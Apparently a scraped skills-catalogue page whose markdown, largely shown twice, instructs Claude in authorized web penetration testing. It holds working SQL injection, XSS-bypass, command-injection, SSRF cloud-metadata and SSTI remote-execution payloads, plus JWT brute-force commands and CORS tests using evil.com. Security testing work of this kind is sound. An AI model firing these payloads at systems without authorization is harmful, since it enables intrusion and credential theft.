[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D9SW45KF4E45XS1F5A3BGD":3,"skill-same:01M7D9SW45KF4E45XS1F5A3BGD":61},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":23,"commitSha":24,"skillDirectory":25,"forksCount":26,"repositoryHtmlUrl":27,"repositoryHomepageUrl":6,"ownerHtmlUrl":28,"ownerBlogUrl":6,"ownerDescription":29,"updatedAt":30,"install":31,"resources":44},"01M7D9SW45KF4E45XS1F5A3BGD","09-web-security",null,"alicewe1\u002Falice_skill","alicewe1","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F102134151?v=4","01M7D9STCM8HAESM958JP0989K","Alice_we","01M7D9STDR22MTD9FTTWPAZNV8",64,"GPL-3.0","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002F09-web-security\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: Web Application Security Testing\ndescription: OWASP Top 10 testing, injection vulnerability detection, API security assessment, authentication testing, and web vulnerability reporting for authorized assessments\nversion: 3.0.0\nauthor: Masriyan\ntags: [cybersecurity, web-security, owasp, xss, sqli, api, pentest, burpsuite, authentication]\nx-alice-class: pentest\n---# Web Application Security Testing\n\n## Purpose\n\nEnable Claude to assist with comprehensive web application security assessments covering OWASP Top 10, injection testing, API security, authentication analysis, and client-side security. Claude analyzes application behavior, generates test payloads, reviews source code, and produces structured vulnerability reports.\n\n> **Authorization Required**: All testing must be performed on authorized targets only. Confirm scope and written authorization before testing.\n\n---\n\n## Activation Triggers\n\nThis skill activates when the user asks about:\n- OWASP Top 10 testing or assessment methodology\n- SQL injection, XSS, SSRF, SSTI, command injection testing\n- API security testing (REST, GraphQL, SOAP)\n- Authentication bypass, session management flaws\n- Web application firewall (WAF) bypasses for authorized testing\n- CORS, CSP, or security header analysis\n- OAuth\u002FOIDC security review\n- JWT analysis or manipulation\n- Burp Suite or OWASP ZAP usage guidance\n- Web vulnerability report writing\n\n---\n\n## Prerequisites\n\n```bash\npip install requests beautifulsoup4 urllib3 lxml\n```\n\n**Recommended tools:**\n- `Burp Suite Community\u002FPro` — Web proxy and scanner\n- `OWASP ZAP` — Open-source web scanner\n- `sqlmap` — Automated SQL injection (authorized use only)\n- `Nikto` — Web server scanner\n- `ffuf \u002F feroxbuster` — Web fuzzer\n- `jwt_tool` — JWT analysis and manipulation\n\n---\n\n## Core Capabilities\n\n### 1. OWASP Top 10 Assessment\n\n**When the user asks to assess for OWASP Top 10 vulnerabilities:**\n\n| # | Vulnerability | Claude's Assessment Approach |\n|---|--------------|------------------------------|\n| A01 | Broken Access Control | Test IDOR, path traversal, forced browsing, privilege escalation |\n| A02 | Cryptographic Failures | Audit TLS, check sensitive data exposure, weak algorithms |\n| A03 | Injection | Test all inputs for SQLi, NoSQLi, OS command, LDAP, SSTI |\n| A04 | Insecure Design | Review architecture for missing security controls |\n| A05 | Security Misconfiguration | Check defaults, error disclosure, directory listing, debug mode |\n| A06 | Vulnerable Components | Audit third-party libraries and framework versions |\n| A07 | Auth & ID Failures | Test session management, brute force, MFA, credential storage |\n| A08 | Software & Data Integrity | Check update mechanisms, deserialization, CI\u002FCD security |\n| A09 | Logging & Monitoring Failures | Verify logging coverage and alerting |\n| A10 | SSRF | Test URL parameters, webhooks, import functionality |\n\n### 2. Injection Testing\n\n**When the user asks to test for injection vulnerabilities:**\n\n**Input Discovery — Map all injection points:**\n```\nGET\u002FPOST parameters\nURL path segments (\u002Fusers\u002FINJECT\u002Fprofile)\nHTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)\nJSON body fields {\"name\": \"INJECT\"}\nXML body fields \u003Cname>INJECT\u003C\u002Fname>\nGraphQL variables {query: \"{ user(name: \\\"INJECT\\\") }\"}\nFile upload names and metadata\n```\n\n**SQL Injection Testing Methodology:**\n```\nStep 1: Detection — Test for error-based confirmation\n  ' → SQL error = likely vulnerable\n  ' OR '1'='1 → true condition\n  ' OR '1'='2 → false condition\n  ' AND SLEEP(5)-- - → time delay = blind SQLi\n\nStep 2: Fingerprint the database\n  ' AND 1=CONVERT(int,@@version)-- - → MSSQL version\n  ' AND 1=1 UNION SELECT @@version-- - → MySQL\n  ' AND 1=(SELECT 1 FROM dual)-- - → Oracle\n\nStep 3: Extraction (authorized PoC only)\n  ' UNION SELECT null,username,password,null FROM users-- -\n```\n\n**SQLi Payload Library:**\n```sql\n-- Basic detection\n'\n''\n`\n')\n'))\n' OR '1'='1'--\n' OR 1=1--\n\" OR \"1\"=\"1\n' OR 'x'='x\n\n-- MySQL time-based blind\n' AND SLEEP(5)-- -\n' OR SLEEP(5)=0-- -\n\n-- MSSQL time-based blind\n'; WAITFOR DELAY '0:0:5'-- -\n\n-- PostgreSQL time-based blind\n'; SELECT pg_sleep(5)-- -\n\n-- Error-based (MySQL)\n' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -\n' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -\n\n-- UNION enumeration\n' ORDER BY 1-- -  (increment until error to find column count)\n' UNION SELECT null-- -\n' UNION SELECT null,null-- -\n' UNION SELECT null,null,null-- -\n```\n\n**XSS Testing Methodology:**\n```\nStep 1: Find reflection points\n  Input: test123  →  Search in source for \"test123\"\n  What HTML context is it in?\n    • HTML content: \u003Cp>test123\u003C\u002Fp>\n    • Attribute: \u003Cinput value=\"test123\">\n    • JavaScript: var x = \"test123\";\n    • URL: href=\"test123\"\n\nStep 2: Test basic payload for context\n  HTML content:    \u003Cscript>alert(1)\u003C\u002Fscript>\n  Attribute:       \" onmouseover=\"alert(1)\n  JavaScript:      \";alert(1);\u002F\u002F\n  URL:             javascript:alert(1)\n\nStep 3: Bypass filters\n  Case variation:  \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n  No parentheses:  \u003Cimg src=x onerror=alert`1`>\n  No script tag:   \u003Cimg src=x onerror=alert(document.domain)>\n  SVG:             \u003Csvg onload=alert(1)>\n  Template:        {{constructor.constructor('alert(1)')()}}\n```\n\n**Command Injection Testing:**\n```bash\n# Linux injection separators\n; id\n| id\n& id\n&& id\n`id`\n$(id)\n%0aid\n\n# Windows injection separators\n& whoami\n| whoami\n; dir\n%26 dir\n\n# Blind detection via time delay\n; sleep 5\n| timeout 5\n& ping -n 5 127.0.0.1\n\n# Blind detection via DNS callback (use Burp Collaborator or interactsh)\n; nslookup YOUR-CALLBACK-DOMAIN.com\n```\n\n**SSRF Testing Methodology:**\n```\nStep 1: Find URL input points\n  - Import functionality (import from URL)\n  - Webhooks (send notification to URL)\n  - Document converters (URL to PDF)\n  - Image loading from URL\n  - API calls with URL parameters\n\nStep 2: Test basic SSRF to internal resources\n  http:\u002F\u002F127.0.0.1\u002F\n  http:\u002F\u002Flocalhost\u002F\n  http:\u002F\u002F192.168.1.1\u002F           # Default gateway\n  http:\u002F\u002F169.254.169.254\u002F       # AWS metadata\n  http:\u002F\u002Fmetadata.google.internal\u002F  # GCP metadata\n  http:\u002F\u002F[::1]\u002F                 # IPv6 localhost\n\nStep 3: Test cloud metadata services (AWS example)\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\nStep 4: SSRF filter bypass techniques\n  http:\u002F\u002F127.0.0.1@evil.com     # URL confusion\n  http:\u002F\u002F0177.0.0.1\u002F            # Octal encoding\n  http:\u002F\u002F2130706433\u002F            # Decimal encoding\n  http:\u002F\u002F[::1]\u002F                 # IPv6\n  http:\u002F\u002Flocalhost.evil.com\u002F    # DNS rebinding\n```\n\n**SSTI Testing:**\n```\n# Universal detection probes\n{{7*7}}           → 49 (Jinja2, Twig, Freemarker)\n${7*7}            → 49 (FreeMarker, Velocity, Mako)\n\u003C%= 7*7 %>        → 49 (ERB\u002FRuby)\n#{7*7}            → 49 (Pug\u002FJade)\n\n# Jinja2 (Python Flask) — confirm RCE path\n{{config}}\n{{''.__class__.__mro__[1].__subclasses__()}}\n{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n\n# Twig (PHP Symfony)\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n```\n\n### 3. API Security Testing\n\n**When the user asks to test API security:**\n\n**API Test Checklist:**\n```\nAuthentication:\n[ ] Endpoints accessible without token? (missing auth)\n[ ] JWT validation: alg:none attack, weak secret, expired token accepted?\n[ ] API keys in URL parameters (logged in proxy logs)\n[ ] Basic auth over HTTP (not HTTPS)\n\nAuthorization:\n[ ] BOLA — Change object ID to access other users' data\n  GET \u002Fapi\u002Fusers\u002F123\u002Forders → try \u002Fapi\u002Fusers\u002F124\u002Forders\n[ ] Mass assignment — POST with extra privileged fields\n  {\"username\":\"user\",\"role\":\"admin\",\"isAdmin\":true}\n[ ] Function-level access — access admin endpoints as regular user\n  GET \u002Fapi\u002Fadmin\u002Fusers (as non-admin)\n\nInput Validation:\n[ ] SQL injection in API parameters\n[ ] JSON injection in body\n[ ] Rate limiting — rapid requests cause DoS or bypass?\n[ ] Request body schema — what happens with extra\u002Funexpected fields?\n\nData Exposure:\n[ ] Response contains sensitive fields not needed by client?\n[ ] User A can see User B's PII?\n[ ] Error messages reveal internal structure?\n[ ] Debug endpoints exposed? \u002Fapi\u002Fdebug, \u002Fapi\u002Fswagger, \u002Fapi\u002Fdocs\n```\n\n**GraphQL-specific tests:**\n```graphql\n# Introspection — should be disabled in production\n{ __schema { types { name fields { name } } } }\n\n# Batch query abuse\n[{\"query\":\"{ user(id:1) { name } }\"},\n {\"query\":\"{ user(id:2) { name } }\"},\n ...repeated 1000 times...]\n\n# Circular query DoS\n{ user { friends { friends { friends { name } } } } }\n```\n\n**JWT Analysis:**\n```bash\n# Decode JWT without verification\njwt_tool JWT_TOKEN_HERE -d\n\n# Test alg:none attack\njwt_tool JWT_TOKEN_HERE -X a\n\n# Test algorithm confusion (RS256 to HS256)\njwt_tool JWT_TOKEN_HERE -X k -pk public.pem\n\n# Brute force weak secret\njwt_tool JWT_TOKEN_HERE -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n### 4. Authentication & Session Testing\n\n**When the user asks to test authentication:**\n\n**Session Token Analysis:**\n```\nEntropy check:\n[ ] Token length sufficient? (≥128 bits recommended)\n[ ] Token appears random? (not predictable, sequential, or time-based)\n[ ] Test: collect 10+ tokens, check for patterns\n\nSession management:\n[ ] Session invalidated on logout? (test by reusing old token)\n[ ] Session invalidated on password change?\n[ ] Concurrent session limits? (same user, multiple locations)\n[ ] Session fixation: set your own session ID before auth, does it persist?\n[ ] Secure and HttpOnly flags on session cookie?\n[ ] SameSite attribute set? (CSRF protection)\n\nPassword security:\n[ ] Minimum complexity enforced?\n[ ] Account lockout after N failed attempts?\n[ ] Password exposed in HTTP response or logs?\n[ ] Forgot password link single-use and time-limited?\n[ ] Password reset token in URL? (appears in logs\u002Freferer)\n```\n\n**OAuth 2.0 Testing:**\n```\n[ ] State parameter present and validated? (CSRF in OAuth flow)\n[ ] Redirect URI strictly validated? (open redirect)\n[ ] Authorization code reusable? (should be single-use)\n[ ] PKCE implemented for public clients?\n[ ] Client secret exposed in JavaScript source?\n[ ] Scope validation — can client request broader scopes than expected?\n```\n\n### 5. Security Headers Assessment\n\n**When the user asks to review security headers:**\n\n```python\n# Check all security headers for a target\nimport requests\nheaders_to_check = {\n    \"Strict-Transport-Security\": \"Required; max-age>=31536000\",\n    \"Content-Security-Policy\": \"Required; restrict sources\",\n    \"X-Content-Type-Options\": \"nosniff\",\n    \"X-Frame-Options\": \"DENY or SAMEORIGIN\",\n    \"Referrer-Policy\": \"strict-origin-when-cross-origin\",\n    \"Permissions-Policy\": \"Restrict sensitive features\",\n    \"Cache-Control\": \"no-store for sensitive endpoints\",\n}\n```\n\n**CORS Misconfiguration Tests:**\n```python\n# Test 1: Arbitrary origin reflected\nrequests.get(url, headers={\"Origin\": \"https:\u002F\u002Fevil.com\"})\n# Vulnerable if response contains: Access-Control-Allow-Origin: https:\u002F\u002Fevil.com\n\n# Test 2: Null origin\nrequests.get(url, headers={\"Origin\": \"null\"})\n# Vulnerable if response contains: Access-Control-Allow-Origin: null\n\n# Test 3: Subdomain bypass\nrequests.get(url, headers={\"Origin\": \"https:\u002F\u002Fevil.target.com\"})\n# Vulnerable if attacker can register evil.target.com or use XSS\n```\n\n---\n\n## Vulnerability Report Template\n\n```markdown\n## Web Security Finding: [Title]\n\n**ID:** WEB-[Number]\n**Severity:** [Critical \u002F High \u002F Medium \u002F Low \u002F Info]\n**CVSS v3.1:** [Score] | [Vector string]\n**CWE:** [CWE-ID — CWE Name]\n**OWASP:** [A0X — Category]\n\n### Affected Endpoint\n**URL:** `https:\u002F\u002Ftarget.com\u002Fapi\u002Fendpoint`\n**Method:** POST\n**Parameter:** `id`\n\n### Description\n[Clear description of the vulnerability and why it's a risk]\n\n### Reproduction Steps\n1. Navigate to `https:\u002F\u002Ftarget.com\u002Fapi\u002Fendpoint`\n2. Send the following request:\n   ```\n   POST \u002Fapi\u002Fendpoint HTTP\u002F1.1\n   Host: target.com\n   Content-Type: application\u002Fjson\n\n   {\"id\": \"1' OR '1'='1\"}\n   ```\n3. Observe the response contains [evidence of vulnerability]\n\n### Impact\n[Business and technical impact — data exposure, account takeover, RCE, etc.]\n\n### Evidence\n[Screenshot description, response snippet, or sanitized PoC output]\n\n### Remediation\n[Specific fix with code example if applicable]\n```\n\n---\n\n## Script Reference\n\n### `owasp_scanner.py`\n```bash\npython scripts\u002Fowasp_scanner.py --url https:\u002F\u002Ftarget.com --output report.json\npython scripts\u002Fowasp_scanner.py --url https:\u002F\u002Ftarget.com --tests a01,a03,a07\n```\n\n### `api_security_tester.py`\n```bash\npython scripts\u002Fapi_security_tester.py --spec openapi.yaml --base-url https:\u002F\u002Fapi.target.com --output results.json\n```\n\n---\n\n## Skill Integration\n\n| Condition | Adjacent Skill |\n|-----------|---------------|\n| Web apps discovered during recon | ← Skill 01 (Recon & OSINT) |\n| Vulnerable components identified | → Skill 02 (Vulnerability Scanner) |\n| Develop PoC for confirmed vuln | → Skill 03 (Exploit Development) |\n| Generate CSOC alerts for findings | → Skill 11 (CSOC Automation) |\n\n---\n\n## References\n\n- [OWASP Top 10 2021](https:\u002F\u002Fowasp.org\u002Fwww-project-top-ten\u002F)\n- [OWASP Testing Guide v4.2](https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F)\n- [OWASP API Security Top 10](https:\u002F\u002Fowasp.org\u002Fwww-project-api-security\u002F)\n- [PortSwigger Web Security Academy](https:\u002F\u002Fportswigger.net\u002Fweb-security)\n- [PayloadsAllTheThings](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings)\n- [HackTricks Web Pentesting](https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web)\n\n\n---\n\n## v3.0 Enhancements (2026 Update)\n\n**Current web & API attack surface:**\n\n- **OWASP API Security Top 10 (2023)** — test BOLA\u002FIDOR (API1), broken authentication (API2), broken object property level authorization \u002F mass assignment (API3), unrestricted resource consumption (API4), and SSRF (API7) as first-class items alongside the web Top 10.\n- **SSRF → cloud metadata** — always attempt cloud IMDS reach (`169.254.169.254`, GCP `metadata.google.internal`, Azure IMDS) and require IMDSv2\u002Fhop-limit defenses (→ Skill 10).\n- **HTTP request smuggling** — CL.TE\u002FTE.CL\u002FCL.CL desync and HTTP\u002F2 downgrade smuggling against front-end\u002Fback-end pairs.\n- **JWT & OAuth\u002FOIDC** — `alg=none`, algorithm confusion (RS256→HS256), `kid` injection, weak secrets; OAuth flows: redirect_uri abuse, PKCE downgrade, consent phishing, device-code phishing.\n- **Client-side & template** — prototype pollution, DOM clobbering, SSTI per engine, and modern XSS via mutation\u002Fsanitizer bypass.\n- **GraphQL** — introspection abuse, batching\u002FDoS, nested-query depth, and field-level authorization gaps.\n\n**Precision rule:** each finding ships a reproducible request\u002Fresponse, the affected parameter, and a parameterized\u002Fencoded fix at the correct sink.\n","## Purpose\n\nEnable Claude to assist with comprehensive web application security assessments covering OWASP Top 10, injection testing, API security, authentication analysis, and client-side security. Claude analyzes application behavior, generates test payloads, reviews source code, and produces structured vulnerability reports.\n\n> **Authorization Required**: All testing must be performed on authorized targets only. Confirm scope and written authorization before testing.\n\n---\n\n## Activation Triggers\n\nThis skill activates when the user asks about:\n- OWASP Top 10 testing or assessment methodology\n- SQL injection, XSS, SSRF, SSTI, command injection testing\n- API security testing (REST, GraphQL, SOAP)\n- Authentication bypass, session management flaws\n- Web application firewall (WAF) bypasses for authorized testing\n- CORS, CSP, or security header analysis\n- OAuth\u002FOIDC security review\n- JWT analysis or manipulation\n- Burp Suite or OWASP ZAP usage guidance\n- Web vulnerability report writing\n\n---\n\n## Prerequisites\n\n```bash\npip install requests beautifulsoup4 urllib3 lxml\n```\n\n**Recommended tools:**\n- `Burp Suite Community\u002FPro` — Web proxy and scanner\n- `OWASP ZAP` — Open-source web scanner\n- `sqlmap` — Automated SQL injection (authorized use only)\n- `Nikto` — Web server scanner\n- `ffuf \u002F feroxbuster` — Web fuzzer\n- `jwt_tool` — JWT analysis and manipulation\n\n---\n\n## Core Capabilities\n\n### 1. OWASP Top 10 Assessment\n\n**When the user asks to assess for OWASP Top 10 vulnerabilities:**\n\n| # | Vulnerability | Claude's Assessment Approach |\n|---|--------------|------------------------------|\n| A01 | Broken Access Control | Test IDOR, path traversal, forced browsing, privilege escalation |\n| A02 | Cryptographic Failures | Audit TLS, check sensitive data exposure, weak algorithms |\n| A03 | Injection | Test all inputs for SQLi, NoSQLi, OS command, LDAP, SSTI |\n| A04 | Insecure Design | Review architecture for missing security controls |\n| A05 | Security Misconfiguration | Check defaults, error disclosure, directory listing, debug mode |\n| A06 | Vulnerable Components | Audit third-party libraries and framework versions |\n| A07 | Auth & ID Failures | Test session management, brute force, MFA, credential storage |\n| A08 | Software & Data Integrity | Check update mechanisms, deserialization, CI\u002FCD security |\n| A09 | Logging & Monitoring Failures | Verify logging coverage and alerting |\n| A10 | SSRF | Test URL parameters, webhooks, import functionality |\n\n### 2. Injection Testing\n\n**When the user asks to test for injection vulnerabilities:**\n\n**Input Discovery — Map all injection points:**\n```\nGET\u002FPOST parameters\nURL path segments (\u002Fusers\u002FINJECT\u002Fprofile)\nHTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)\nJSON body fields {\"name\": \"INJECT\"}\nXML body fields \u003Cname>INJECT\u003C\u002Fname>\nGraphQL variables {query: \"{ user(name: \\\"INJECT\\\") }\"}\nFile upload names and metadata\n```\n\n**SQL Injection Testing Methodology:**\n```\nStep 1: Detection — Test for error-based confirmation\n  ' → SQL error = likely vulnerable\n  ' OR '1'='1 → true condition\n  ' OR '1'='2 → false condition\n  ' AND SLEEP(5)-- - → time delay = blind SQLi\n\nStep 2: Fingerprint the database\n  ' AND 1=CONVERT(int,@@version)-- - → MSSQL version\n  ' AND 1=1 UNION SELECT @@version-- - → MySQL\n  ' AND 1=(SELECT 1 FROM dual)-- - → Oracle\n\nStep 3: Extraction (authorized PoC only)\n  ' UNION SELECT null,username,password,null FROM users-- -\n```\n\n**SQLi Payload Library:**\n```sql\n-- Basic detection\n'\n''\n`\n')\n'))\n' OR '1'='1'--\n' OR 1=1--\n\" OR \"1\"=\"1\n' OR 'x'='x\n\n-- MySQL time-based blind\n' AND SLEEP(5)-- -\n' OR SLEEP(5)=0-- -\n\n-- MSSQL time-based blind\n'; WAITFOR DELAY '0:0:5'-- -\n\n-- PostgreSQL time-based blind\n'; SELECT pg_sleep(5)-- -\n\n-- Error-based (MySQL)\n' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -\n' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -\n\n-- UNION enumeration\n' ORDER BY 1-- -  (increment until error to find column count)\n' UNION SELECT null-- -\n' UNION SELECT null,null-- -\n' UNION SELECT null,null,null-- -\n```\n\n**XSS Testing Methodology:**\n```\nStep 1: Find reflection points\n  Input: test123  →  Search in source for \"test123\"\n  What HTML context is it in?\n    • HTML content: \u003Cp>test123\u003C\u002Fp>\n    • Attribute: \u003Cinput value=\"test123\">\n    • JavaScript: var x = \"test123\";\n    • URL: href=\"test123\"\n\nStep 2: Test basic payload for context\n  HTML content:    \u003Cscript>alert(1)\u003C\u002Fscript>\n  Attribute:       \" onmouseover=\"alert(1)\n  JavaScript:      \";alert(1);\u002F\u002F\n  URL:             javascript:alert(1)\n\nStep 3: Bypass filters\n  Case variation:  \u003CScRiPt>alert(1)\u003C\u002FScRiPt>\n  No parentheses:  \u003Cimg src=x onerror=alert`1`>\n  No script tag:   \u003Cimg src=x onerror=alert(document.domain)>\n  SVG:             \u003Csvg onload=alert(1)>\n  Template:        {{constructor.constructor('alert(1)')()}}\n```\n\n**Command Injection Testing:**\n```bash\n# Linux injection separators\n; id\n| id\n& id\n&& id\n`id`\n$(id)\n%0aid\n\n# Windows injection separators\n& whoami\n| whoami\n; dir\n%26 dir\n\n# Blind detection via time delay\n; sleep 5\n| timeout 5\n& ping -n 5 127.0.0.1\n\n# Blind detection via DNS callback (use Burp Collaborator or interactsh)\n; nslookup YOUR-CALLBACK-DOMAIN.com\n```\n\n**SSRF Testing Methodology:**\n```\nStep 1: Find URL input points\n  - Import functionality (import from URL)\n  - Webhooks (send notification to URL)\n  - Document converters (URL to PDF)\n  - Image loading from URL\n  - API calls with URL parameters\n\nStep 2: Test basic SSRF to internal resources\n  http:\u002F\u002F127.0.0.1\u002F\n  http:\u002F\u002Flocalhost\u002F\n  http:\u002F\u002F192.168.1.1\u002F           # Default gateway\n  http:\u002F\u002F169.254.169.254\u002F       # AWS metadata\n  http:\u002F\u002Fmetadata.google.internal\u002F  # GCP metadata\n  http:\u002F\u002F[::1]\u002F                 # IPv6 localhost\n\nStep 3: Test cloud metadata services (AWS example)\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\nStep 4: SSRF filter bypass techniques\n  http:\u002F\u002F127.0.0.1@evil.com     # URL confusion\n  http:\u002F\u002F0177.0.0.1\u002F            # Octal encoding\n  http:\u002F\u002F2130706433\u002F            # Decimal encoding\n  http:\u002F\u002F[::1]\u002F                 # IPv6\n  http:\u002F\u002Flocalhost.evil.com\u002F    # DNS rebinding\n```\n\n**SSTI Testing:**\n```\n# Universal detection probes\n{{7*7}}           → 49 (Jinja2, Twig, Freemarker)\n${7*7}            → 49 (FreeMarker, Velocity, Mako)\n\u003C%= 7*7 %>        → 49 (ERB\u002FRuby)\n#{7*7}            → 49 (Pug\u002FJade)\n\n# Jinja2 (Python Flask) — confirm RCE path\n{{config}}\n{{''.__class__.__mro__[1].__subclasses__()}}\n{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n\n# Twig (PHP Symfony)\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n```\n\n### 3. API Security Testing\n\n**When the user asks to test API security:**\n\n**API Test Checklist:**\n```\nAuthentication:\n[ ] Endpoints accessible without token? (missing auth)\n[ ] JWT validation: alg:none attack, weak secret, expired token accepted?\n[ ] API keys in URL parameters (logged in proxy logs)\n[ ] Basic auth over HTTP (not HTTPS)\n\nAuthorization:\n[ ] BOLA — Change object ID to access other users' data\n  GET \u002Fapi\u002Fusers\u002F123\u002Forders → try \u002Fapi\u002Fusers\u002F124\u002Forders\n[ ] Mass assignment — POST with extra privileged fields\n  {\"username\":\"user\",\"role\":\"admin\",\"isAdmin\":true}\n[ ] Function-level access — access admin endpoints as regular user\n  GET \u002Fapi\u002Fadmin\u002Fusers (as non-admin)\n\nInput Validation:\n[ ] SQL injection in API parameters\n[ ] JSON injection in body\n[ ] Rate limiting — rapid requests cause DoS or bypass?\n[ ] Request body schema — what happens with extra\u002Funexpected fields?\n\nData Exposure:\n[ ] Response contains sensitive fields not needed by client?\n[ ] User A can see User B's PII?\n[ ] Error messages reveal internal structure?\n[ ] Debug endpoints exposed? \u002Fapi\u002Fdebug, \u002Fapi\u002Fswagger, \u002Fapi\u002Fdocs\n```\n\n**GraphQL-specific tests:**\n```graphql\n# Introspection — should be disabled in production\n{ __schema { types { name fields { name } } } }\n\n# Batch query abuse\n[{\"query\":\"{ user(id:1) { name } }\"},\n {\"query\":\"{ user(id:2) { name } }\"},\n ...repeated 1000 times...]\n\n# Circular query DoS\n{ user { friends { friends { friends { name } } } } }\n```\n\n**JWT Analysis:**\n```bash\n# Decode JWT without verification\njwt_tool JWT_TOKEN_HERE -d\n\n# Test alg:none attack\njwt_tool JWT_TOKEN_HERE -X a\n\n# Test algorithm confusion (RS256 to HS256)\njwt_tool JWT_TOKEN_HERE -X k -pk public.pem\n\n# Brute force weak secret\njwt_tool JWT_TOKEN_HERE -C -d \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n### 4. Authentication & Session Testing\n\n**When the user asks to test authentication:**\n\n**Session Token Analysis:**\n```\nEntropy check:\n[ ] Token length sufficient? (≥128 bits recommended)\n[ ] Token appears random? (not predictable, sequential, or time-based)\n[ ] Test: collect 10+ tokens, check for patterns\n\nSession management:\n[ ] Session invalidated on logout? (test by reusing old token)\n[ ] Session invalidated on password change?\n[ ] Concurrent session limits? (same user, multiple locations)\n[ ] Session fixation: set your own session ID before auth, does it persist?\n[ ] Secure and HttpOnly flags on session cookie?\n[ ] SameSite attribute set? (CSRF protection)\n\nPassword security:\n[ ] Minimum complexity enforced?\n[ ] Account lockout after N failed attempts?\n[ ] Password exposed in HTTP response or logs?\n[ ] Forgot password link single-use and time-limited?\n[ ] Password reset token in URL? (appears in logs\u002Freferer)\n```\n\n**OAuth 2.0 Testing:**\n```\n[ ] State parameter present and validated? (CSRF in OAuth flow)\n[ ] Redirect URI strictly validated? (open redirect)\n[ ] Authorization code reusable? (should be single-use)\n[ ] PKCE implemented for public clients?\n[ ] Client secret exposed in JavaScript source?\n[ ] Scope validation — can client request broader scopes than expected?\n```\n\n### 5. Security Headers Assessment\n\n**When the user asks to review security headers:**\n\n```python\n# Check all security headers for a target\nimport requests\nheaders_to_check = {\n    \"Strict-Transport-Security\": \"Required; max-age>=31536000\",\n    \"Content-Security-Policy\": \"Required; restrict sources\",\n    \"X-Content-Type-Options\": \"nosniff\",\n    \"X-Frame-Options\": \"DENY or SAMEORIGIN\",\n    \"Referrer-Policy\": \"strict-origin-when-cross-origin\",\n    \"Permissions-Policy\": \"Restrict sensitive features\",\n    \"Cache-Control\": \"no-store for sensitive endpoints\",\n}\n```\n\n**CORS Misconfiguration Tests:**\n```python\n# Test 1: Arbitrary origin reflected\nrequests.get(url, headers={\"Origin\": \"https:\u002F\u002Fevil.com\"})\n# Vulnerable if response contains: Access-Control-Allow-Origin: https:\u002F\u002Fevil.com\n\n# Test 2: Null origin\nrequests.get(url, headers={\"Origin\": \"null\"})\n# Vulnerable if response contains: Access-Control-Allow-Origin: null\n\n# Test 3: Subdomain bypass\nrequests.get(url, headers={\"Origin\": \"https:\u002F\u002Fevil.target.com\"})\n# Vulnerable if attacker can register evil.target.com or use XSS\n```\n\n---\n\n## Vulnerability Report Template\n\n```markdown\n## Web Security Finding: [Title]\n\n**ID:** WEB-[Number]\n**Severity:** [Critical \u002F High \u002F Medium \u002F Low \u002F Info]\n**CVSS v3.1:** [Score] | [Vector string]\n**CWE:** [CWE-ID — CWE Name]\n**OWASP:** [A0X — Category]\n\n### Affected Endpoint\n**URL:** `https:\u002F\u002Ftarget.com\u002Fapi\u002Fendpoint`\n**Method:** POST\n**Parameter:** `id`\n\n### Description\n[Clear description of the vulnerability and why it's a risk]\n\n### Reproduction Steps\n1. Navigate to `https:\u002F\u002Ftarget.com\u002Fapi\u002Fendpoint`\n2. Send the following request:\n   ```\n   POST \u002Fapi\u002Fendpoint HTTP\u002F1.1\n   Host: target.com\n   Content-Type: application\u002Fjson\n\n   {\"id\": \"1' OR '1'='1\"}\n   ```\n3. Observe the response contains [evidence of vulnerability]\n\n### Impact\n[Business and technical impact — data exposure, account takeover, RCE, etc.]\n\n### Evidence\n[Screenshot description, response snippet, or sanitized PoC output]\n\n### Remediation\n[Specific fix with code example if applicable]\n```\n\n---\n\n## Script Reference\n\n### `owasp_scanner.py`\n```bash\npython scripts\u002Fowasp_scanner.py --url https:\u002F\u002Ftarget.com --output report.json\npython scripts\u002Fowasp_scanner.py --url https:\u002F\u002Ftarget.com --tests a01,a03,a07\n```\n\n### `api_security_tester.py`\n```bash\npython scripts\u002Fapi_security_tester.py --spec openapi.yaml --base-url https:\u002F\u002Fapi.target.com --output results.json\n```\n\n---\n\n## Skill Integration\n\n| Condition | Adjacent Skill |\n|-----------|---------------|\n| Web apps discovered during recon | ← Skill 01 (Recon & OSINT) |\n| Vulnerable components identified | → Skill 02 (Vulnerability Scanner) |\n| Develop PoC for confirmed vuln | → Skill 03 (Exploit Development) 